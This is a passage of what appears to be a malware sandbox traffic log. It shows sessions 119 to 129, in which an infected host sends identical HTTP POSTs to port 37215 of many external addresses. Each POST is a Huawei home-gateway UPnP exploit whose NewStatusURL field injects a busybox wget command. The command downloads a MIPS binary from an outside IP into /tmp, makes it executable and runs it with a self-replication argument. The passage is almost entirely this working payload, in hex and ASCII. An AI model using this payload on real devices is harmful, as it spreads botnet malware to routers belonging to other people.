2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.14	44924	41.145.5.36	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.415803909 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.14	52592	41.181.208.214	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.415803909 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.14	54222	42.255.69.128	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.415803909 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.14	45326	41.156.215.126	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.415803909 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.14	38644	199.67.163.62	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.416599989 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.14	33058	197.88.129.45	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.416599989 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.14	57848	139.212.201.39	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.416599989 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.14	59758	157.59.236.255	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.417043924 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.14	56210	41.10.15.208	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.418173075 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.14	45974	157.255.88.114	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.440622091 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.14	58450	157.114.223.179	37215

Timestamp	Bytes transferred	Direction	Data
